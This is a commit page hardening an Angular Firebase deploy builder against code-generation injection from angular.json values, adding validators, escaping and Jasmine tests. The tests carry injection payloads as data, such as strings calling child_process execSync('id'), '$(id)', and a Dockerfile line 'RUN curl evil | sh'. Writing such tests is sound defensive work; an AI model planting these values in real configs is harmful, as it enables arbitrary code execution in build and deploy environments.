Skip to content

Commit 9c574fc

Browse files
committed
fix(deploy): prevent code-generation injection from angular.json values
The SSR deploy builders interpolate several angular.json values into generated artifacts that are later executed: a server build target's outputPath into the Cloud Function index.js and the Cloud Run package.json start script, functionName into the exports assignment, region into the .region() call, and functionsNodeVersion into the Cloud Run Dockerfile FROM line. region is escaped structurally with JSON.stringify in the template, and the start script now quotes its path, so a shell no longer splits or expands it. On top of that, outputPath, functionName and functionsNodeVersion are screened before code generation (assertSafeOutputPath, assertSafeFunctionName, assertSafeNodeVersion). assertSafeOutputPath rejects only what is still live once the start script is quoted: quotes, a backslash and line terminators, which break out of the require() string literal, `$` and a backtick, which are still command substitution inside double quotes, and a leading dash, which node reads as a flag. functionName is only screened on the Functions path, where it becomes a JavaScript identifier. functionsNodeVersion is screened against Docker's tag grammar, since the value is a node image tag, with latest excluded because its slim variant is published as node:slim. The functionName and region schema patterns are left to #3726, which already carries stricter versions of both. The functionsNodeVersion schema pattern stays here and matches the runtime check exactly. The TODO above the gcloud calls is restored in narrowed form, covering the values that are still unvalidated: firebaseProject, vpcConnector, and the outputPath deploy option.
1 parent 4ff403d commit 9c574fc

5 files changed

Lines changed: 299 additions & 4 deletions

File tree

src/schematics/deploy/actions.jasmine.ts

Lines changed: 204 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,9 +1,10 @@
11
/* eslint-disable @typescript-eslint/no-empty-function */
22
import { join } from 'path';
3+
import { Script } from 'vm';
34
import { BuilderContext, BuilderRun, ScheduleOptions, Target } from '@angular-devkit/architect';
45
import { JsonObject, logging } from '@angular-devkit/core';
56
import { BuildTarget, DeployBuilderSchema, FSHost, FirebaseDeployConfig, FirebaseTools } from '../interfaces';
6-
import deploy, { assertSafeDependencyName, assertSupportedPackageManager, buildCloudRunBuildsSubmitArgs, buildCloudRunDeployArgs, deployToFunction, findPackageVersion, processHost } from './actions.js'
7+
import deploy, { assertSafeDependencyName, assertSafeFunctionName, assertSafeNodeVersion, assertSafeOutputPath, assertSupportedPackageManager, buildCloudRunBuildsSubmitArgs, buildCloudRunDeployArgs, deployToCloudRun, deployToFunction, findPackageVersion, processHost } from './actions.js'
78
import 'jasmine';
89

910
let context: BuilderContext;
@@ -429,3 +430,205 @@ describe('deploy input validation (command-injection hardening)', () => {
429430
});
430431
});
431432
});
433+
434+
describe('generated artifact validation (codegen-injection hardening)', () => {
435+
describe('assertSafeOutputPath', () => {
436+
[
437+
'dist/browser', 'dist/server', 'dist/my-app/browser', 'out', 'a.b-c_d/e', '../dist/browser',
438+
// Only a shell would act on these, and the one place the path reaches a shell is the
439+
// generated start script, which quotes it. So they are unusual directory names rather
440+
// than a way through, and rejecting them would break a deploy that works today.
441+
'dist/my app', 'dist/*', 'dist/?pp', 'dist/[ab]', '~/x', 'dist\tserver', 'a;b', 'a|b',
442+
].forEach((outputPath) => {
443+
it(`allows the valid outputPath ${JSON.stringify(outputPath)}`, () => {
444+
expect(() => assertSafeOutputPath(outputPath, 'proj:server')).not.toThrow();
445+
});
446+
});
447+
448+
[
449+
`x'); require('child_process').execSync('id'); ('`,
450+
'a`id`', 'a$(id)', 'a$HOME', 'a\nb', 'a\rb', 'a"b', 'a\\b', '-rf',
451+
].forEach((outputPath) => {
452+
it(`rejects the unsafe outputPath ${JSON.stringify(outputPath)}`, () => {
453+
expect(() => assertSafeOutputPath(outputPath, 'proj:server')).toThrowError(/Unsafe outputPath/);
454+
});
455+
});
456+
});
457+
458+
describe('assertSafeNodeVersion', () => {
459+
// A Docker tag, since the Cloud Run path renders it as `FROM node:<version>-slim`.
460+
[undefined, 18, 20, '18', '18.19', '20.11.1', 'lts', 'current', 'iron', '22-bookworm'].forEach((version) => {
461+
it(`allows the valid functionsNodeVersion ${JSON.stringify(version)}`, () => {
462+
expect(() => assertSafeNodeVersion(version)).not.toThrow();
463+
});
464+
});
465+
466+
[
467+
'18-slim\nRUN curl evil | sh', '18 && id', '18;id', '$(id)', '`id`', '18/../x', 'x:y', 'x@sha256',
468+
// Grammatical, but node:latest-slim has never been published.
469+
'latest',
470+
// Docker caps a tag at 128 characters.
471+
'2'.repeat(129),
472+
].forEach((version) => {
473+
it(`rejects the unsafe functionsNodeVersion ${JSON.stringify(version)}`, () => {
474+
expect(() => assertSafeNodeVersion(version)).toThrowError(/Unsafe functionsNodeVersion/);
475+
});
476+
});
477+
});
478+
479+
describe('assertSafeFunctionName', () => {
480+
// These are the names that can actually arrive: the schema pattern for functionName is
481+
// the wider Cloud Run service-ID rule, and this is the JavaScript-identifier rule the
482+
// Cloud Functions path needs on top of it.
483+
[undefined, 'ssr', 'ssrHandler', 'a1', 'my_fn'].forEach((functionName) => {
484+
it(`allows the valid functionName ${JSON.stringify(functionName)}`, () => {
485+
expect(() => assertSafeFunctionName(functionName)).not.toThrow();
486+
});
487+
});
488+
489+
[`ssr; require('child_process').execSync('id'); var _x`, 'my-fn', 'a b', '1fn', 'a.b', `a'`].forEach((functionName) => {
490+
it(`rejects the unsafe functionName ${JSON.stringify(functionName)}`, () => {
491+
expect(() => assertSafeFunctionName(functionName)).toThrowError(/Unsafe functionName/);
492+
});
493+
});
494+
});
495+
});
496+
497+
// Runs a generated index.js against stubs, recording what it required and what it ran, so a
498+
// payload that escaped its context is caught by having executed rather than by how it reads.
499+
const runGeneratedFunction = (source: string) => {
500+
const required: string[] = [];
501+
const executed: string[] = [];
502+
const stub: Record<string, any> = {
503+
app: () => ({}),
504+
https: { onRequest: (app: unknown) => app },
505+
execSync: (command: string) => { executed.push(command); return ''; },
506+
};
507+
stub.region = () => stub;
508+
stub.runWith = () => stub;
509+
const exports: Record<string, unknown> = {};
510+
const run = () => new Script(source).runInNewContext({
511+
exports,
512+
module: { exports },
513+
require: (id: string) => { required.push(id); return stub; },
514+
});
515+
return { required, executed, exports, run };
516+
};
517+
518+
// These drive the builders end-to-end so the protection cannot be silently dropped: every
519+
// assertSafe* call site in deployToFunction / deployToCloudRun is covered by a spec here
520+
// that fails if that call is removed, and so is the region escaping in the template. That
521+
// includes the static build target, whose outputPath only ever reaches the filesystem and
522+
// so has nothing exploitable to assert beyond the rejection itself.
523+
describe('generated artifact validation is wired into the builders', () => {
524+
beforeEach(() => initMocks());
525+
526+
const withOutputPaths = (
527+
staticOutputPath: string,
528+
serverOutputPath: string,
529+
): BuilderContext['getTargetOptions'] => (target: Target) => {
530+
if (target.target === 'build') { return Promise.resolve({ outputPath: staticOutputPath }); }
531+
if (target.target === 'server') { return Promise.resolve({ outputPath: serverOutputPath }); }
532+
// Matches architect, which throws rather than handing back options-less targets.
533+
throw new Error(`Invalid target: ${JSON.stringify(target)}.`);
534+
};
535+
536+
const withServerOutputPath = (outputPath: string) => withOutputPaths('dist/browser', outputPath);
537+
const withStaticOutputPath = (outputPath: string) => withOutputPaths(outputPath, 'dist/server');
538+
539+
const EVIL_PATH = `dist'); require('child_process').execSync('id'); ('`;
540+
541+
it('deployToFunction rejects a hostile server outputPath', async () => {
542+
context.getTargetOptions = withServerOutputPath(EVIL_PATH);
543+
await expectAsync(deployToFunction(
544+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
545+
{ preview: false }, undefined, fsHost
546+
)).toBeRejectedWithError(/Unsafe outputPath/);
547+
});
548+
549+
it('deployToFunction rejects a hostile static outputPath', async () => {
550+
context.getTargetOptions = withStaticOutputPath(EVIL_PATH);
551+
await expectAsync(deployToFunction(
552+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
553+
{ preview: false }, undefined, fsHost
554+
)).toBeRejectedWithError(/Unsafe outputPath/);
555+
});
556+
557+
it('deployToFunction rejects a server outputPath that starts with a dash', async () => {
558+
context.getTargetOptions = withServerOutputPath('-rf');
559+
await expectAsync(deployToFunction(
560+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
561+
{ preview: false }, undefined, fsHost
562+
)).toBeRejectedWithError(/Unsafe outputPath/);
563+
});
564+
565+
it('deployToFunction rejects a functionName that is not a plain identifier', async () => {
566+
await expectAsync(deployToFunction(
567+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
568+
{ preview: false, functionName: `ssr; require('child_process').execSync('id'); var _x` },
569+
undefined, fsHost
570+
)).toBeRejectedWithError(/Unsafe functionName/);
571+
});
572+
573+
it('deployToFunction escapes region into the generated function instead of interpolating it raw', async () => {
574+
const spy = spyOn(fsHost, 'writeFileSync');
575+
const region = `us-central1'); require('child_process').execSync('id'); ('`;
576+
await deployToFunction(
577+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
578+
{ preview: false, region }, undefined, fsHost
579+
);
580+
// By path rather than by call order, so adding or reordering a write does not silently
581+
// point this at the wrong file.
582+
const write = spy.calls.allArgs().find(([path]) => path.endsWith('index.js'));
583+
if (!write) { throw new Error('deployToFunction wrote no index.js'); }
584+
const indexJs = write[1];
585+
expect(indexJs).toContain(`.region(${JSON.stringify(region)})`);
586+
587+
// Interpolated raw, the payload closes `.region('` and the require becomes a statement
588+
// of its own, which runs when the function loads. Rendered through the fixed template it
589+
// stays inside a string literal, so running the source touches neither.
590+
const generated = runGeneratedFunction(indexJs);
591+
expect(generated.run).not.toThrow();
592+
expect(generated.executed).toEqual([]);
593+
expect(generated.required).not.toContain('child_process');
594+
expect(Object.keys(generated.exports)).toEqual(['ssr']);
595+
});
596+
597+
it('deployToCloudRun rejects a hostile server outputPath', async () => {
598+
context.getTargetOptions = withServerOutputPath(EVIL_PATH);
599+
await expectAsync(deployToCloudRun(
600+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
601+
{ preview: false }, undefined, fsHost
602+
)).toBeRejectedWithError(/Unsafe outputPath/);
603+
});
604+
605+
it('deployToCloudRun rejects a hostile static outputPath', async () => {
606+
context.getTargetOptions = withStaticOutputPath(EVIL_PATH);
607+
await expectAsync(deployToCloudRun(
608+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
609+
{ preview: false }, undefined, fsHost
610+
)).toBeRejectedWithError(/Unsafe outputPath/);
611+
});
612+
613+
it('deployToCloudRun rejects a hostile functionsNodeVersion', async () => {
614+
await expectAsync(deployToCloudRun(
615+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
616+
{ preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost
617+
)).toBeRejectedWithError(/Unsafe functionsNodeVersion/);
618+
});
619+
620+
it('deployToCloudRun rejects a hostile functionsNodeVersion before touching the output directory', async () => {
621+
const removeSpy = spyOn(fsHost, 'removeSync');
622+
const copySpy = spyOn(fsHost, 'copySync');
623+
const writeSpy = spyOn(fsHost, 'writeFileSync');
624+
625+
await expectAsync(deployToCloudRun(
626+
firebaseMock, context, workspaceRoot, STATIC_BUILD_TARGET, SERVER_BUILD_TARGET,
627+
{ preview: false, functionsNodeVersion: '18-slim\nRUN curl evil | sh' }, undefined, fsHost
628+
)).toBeRejectedWithError(/Unsafe functionsNodeVersion/);
629+
630+
expect(removeSpy).not.toHaveBeenCalled();
631+
expect(copySpy).not.toHaveBeenCalled();
632+
expect(writeSpy).not.toHaveBeenCalled();
633+
});
634+
});

src/schematics/deploy/actions.ts

Lines changed: 64 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -65,6 +65,58 @@ export type DeployBuilderOptions = DeployBuilderSchema & Record<string, any>;
6565

6666
const escapeRegExp = (str: string) => str.replace(/[-[\]/{}()*+?.\\^$|]/g, '\\$&');
6767

68+
// A build target's outputPath (from angular.json's architect.<project>.<build>.options)
69+
// is interpolated raw into generated Cloud Function source (`require('./<path>/main')`)
70+
// and into the generated package.json start script, which the Cloud Run image runs through
71+
// a shell. That start script quotes the path (functions-templates.ts), so word splitting,
72+
// globbing and `~` expansion are already off; what remains live is the set below.
73+
//
74+
// ' and \ break out of the require() string literal, as do the line terminators, since a
75+
// JavaScript string literal cannot span a line
76+
// " ` and $ stay live inside the double quotes of the start script: `"` closes them, and
77+
// `` ` `` and `$(` are still command substitution in there
78+
//
79+
// A leading dash is rejected separately: quoting does not stop `node "-rf/main.js"` from
80+
// being read as a flag rather than a path.
81+
export const assertSafeOutputPath = (outputPath: string, targetName: string): void => {
82+
if (/['"`\\$\n\r]/.test(outputPath) || outputPath.startsWith('-')) {
83+
throw new SchematicsException(
84+
`Unsafe outputPath ${JSON.stringify(outputPath)} for target '${targetName}' in angular.json.`
85+
);
86+
}
87+
};
88+
89+
// functionName is interpolated raw into the generated Cloud Function source as the
90+
// `exports.<name>` assignment target (functions-templates.ts), which is executed when the
91+
// function loads. Allow only a plain JavaScript identifier so it cannot introduce further
92+
// statements; this also turns a name that would silently produce an unparseable file (for
93+
// example one containing a dash) into an explicit error.
94+
export const assertSafeFunctionName = (functionName: string | undefined): void => {
95+
if (functionName !== undefined && !/^[A-Za-z_$][A-Za-z0-9_$]*$/.test(functionName)) {
96+
throw new SchematicsException(
97+
`Unsafe functionName ${JSON.stringify(functionName)} in angular.json; expected a plain identifier.`
98+
);
99+
}
100+
};
101+
102+
// functionsNodeVersion is interpolated raw into the generated Dockerfile's FROM line
103+
// (`FROM node:<version>-slim`), executed during the Cloud Run container build, so the value
104+
// is a Docker image tag. This is Docker's own tag grammar, which bounds the length at 128
105+
// and admits none of the characters that would open a new instruction (a line terminator)
106+
// or point FROM at different image content (a space, a slash, a colon or an `@`). `latest`
107+
// is grammatical but has never resolved here: the official image publishes its slim variant
108+
// as node:slim, so node:latest-slim does not exist.
109+
// Kept in step with the functionsNodeVersion pattern in schema.json.
110+
const NODE_IMAGE_TAG = /^(?!latest$)[\w][\w.-]{0,127}$/;
111+
112+
export const assertSafeNodeVersion = (version: string | number | undefined): void => {
113+
if (version !== undefined && !NODE_IMAGE_TAG.test(String(version))) {
114+
throw new SchematicsException(
115+
`Unsafe functionsNodeVersion ${JSON.stringify(version)} in angular.json; expected a node image tag, such as 22 or lts.`
116+
);
117+
}
118+
};
119+
68120
const moveSync = (src: string, dest: string) => {
69121
copySync(src, dest);
70122
removeSync(src);
@@ -249,18 +301,21 @@ export const deployToFunction = async (
249301
`Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
250302
);
251303
}
304+
assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
252305

253306
const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
254307
if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
255308
throw new Error(
256309
`Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
257310
);
258311
}
312+
assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
259313

260314
const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
261315
const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
262316

263317
const functionsOut = options.outputPath ? join(workspaceRoot, options.outputPath) : dirname(serverOut);
318+
assertSafeFunctionName(options.functionName);
264319
const functionName = options.functionName || DEFAULT_FUNCTION_NAME;
265320

266321
const newStaticOut = join(functionsOut, staticBuildOptions.outputPath);
@@ -401,13 +456,19 @@ export const deployToCloudRun = async (
401456
`Cannot read the output path option of the Angular project '${staticBuildTarget.name}' in angular.json`
402457
);
403458
}
459+
assertSafeOutputPath(staticBuildOptions.outputPath, staticBuildTarget.name);
404460

405461
const serverBuildOptions = await context.getTargetOptions(targetFromTargetString(serverBuildTarget.name));
406462
if (!serverBuildOptions.outputPath || typeof serverBuildOptions.outputPath !== 'string') {
407463
throw new Error(
408464
`Cannot read the output path option of the Angular project '${serverBuildTarget.name}' in angular.json`
409465
);
410466
}
467+
assertSafeOutputPath(serverBuildOptions.outputPath, serverBuildTarget.name);
468+
// Checked here, alongside the outputPath screens, rather than next to the Dockerfile it
469+
// guards: everything below wipes and refills the output directory, so rejecting late
470+
// would leave that directory half-written before throwing.
471+
assertSafeNodeVersion(options.functionsNodeVersion);
411472

412473
const staticOut = join(workspaceRoot, staticBuildOptions.outputPath);
413474
const serverOut = join(workspaceRoot, serverBuildOptions.outputPath);
@@ -473,6 +534,9 @@ export const deployToCloudRun = async (
473534
if (cloudRunOptions.timeout) { deployArguments.push('--timeout', cloudRunOptions.timeout.toString()); }
474535
if (cloudRunOptions.vpcConnector) { deployArguments.push('--vpc-connector', cloudRunOptions.vpcConnector); }
475536

537+
// TODO validate firebaseProject, vpcConnector, and the outputPath deploy option both to
538+
// limit errors and opp for injection
539+
476540
context.logger.info(`📦 Deploying to Cloud Run`);
477541
await spawnAsync('gcloud', buildCloudRunBuildsSubmitArgs(cloudRunOut, serviceId, options));
478542
await spawnAsync('gcloud', buildCloudRunDeployArgs(serviceId, options, deployArguments));

src/schematics/deploy/functions-templates.jasmine.ts

Lines changed: 24 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,17 @@ describe('functions templates', () => {
88
expect(generated).toContain(`require('firebase-functions/v1')`);
99
expect(generated).not.toContain(`require('firebase-functions')`);
1010
});
11+
12+
it('escapes region rather than interpolating it into a string literal', () => {
13+
const region = `us-central1'); require('child_process').execSync('id'); ('`;
14+
const generated = defaultFunction('dist/app', { region }, undefined);
15+
expect(generated).toContain(`.region(${JSON.stringify(region)})`);
16+
// Interpolated raw, the payload closes `.region('` and the require becomes a statement
17+
// of its own. Escaped, it changes nothing but that one argument, so swapping it back
18+
// out has to reproduce the benign render exactly.
19+
expect(generated.replace(JSON.stringify(region), JSON.stringify('us-central1')))
20+
.toBe(defaultFunction('dist/app', { region: 'us-central1' }, undefined));
21+
});
1122
});
1223

1324
describe('defaultPackage', () => {
@@ -16,5 +27,18 @@ describe('functions templates', () => {
1627
expect(generated.engines.node).toBe(DEFAULT_NODE_VERSION.toString());
1728
expect(DEFAULT_NODE_VERSION).toBe(22);
1829
});
30+
31+
it('quotes the start script path, which a shell would otherwise split or expand', () => {
32+
// `main` carries a build target's outputPath, and the Cloud Run image runs this
33+
// through `npm start`.
34+
expect(defaultPackage({}, {}, {}, 'dist/my app/main.js').scripts.start)
35+
.toBe('node "dist/my app/main.js"');
36+
expect(defaultPackage({}, {}, {}, 'dist/[ab]/main.js').scripts.start)
37+
.toBe('node "dist/[ab]/main.js"');
38+
});
39+
40+
it('falls back to the functions shell when there is no main', () => {
41+
expect(defaultPackage({}, {}, {}).scripts.start).toBe('firebase functions:shell');
42+
});
1943
});
2044
});

src/schematics/deploy/functions-templates.ts

Lines changed: 5 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -23,7 +23,10 @@ export const defaultPackage = (
2323
description: 'Angular Universal Application',
2424
main: main ?? 'index.js',
2525
scripts: {
26-
start: main ? `node ${main}` : 'firebase functions:shell',
26+
// Quoted: `npm start` hands this to a shell, and `main` carries a build target's
27+
// outputPath, so an unquoted path with a space in it splits and one with a glob
28+
// character in it expands before node ever sees it.
29+
start: main ? `node "${main}"` : 'firebase functions:shell',
2730
},
2831
engines: {
2932
node: (options.functionsNodeVersion || DEFAULT_NODE_VERSION).toString()
@@ -47,7 +50,7 @@ require("firebase-functions/logger/compat");
4750
const expressApp = require('./${path}/main').app();
4851
4952
exports.${functionName || DEFAULT_FUNCTION_NAME} = functions
50-
.region('${options.region || DEFAULT_FUNCTION_REGION}')
53+
.region(${JSON.stringify(options.region || DEFAULT_FUNCTION_REGION)})
5154
.runWith(${JSON.stringify(options.functionsRuntimeOptions || DEFAULT_RUNTIME_OPTIONS)})
5255
.https
5356
.onRequest(expressApp);

0 commit comments

Comments
 (0)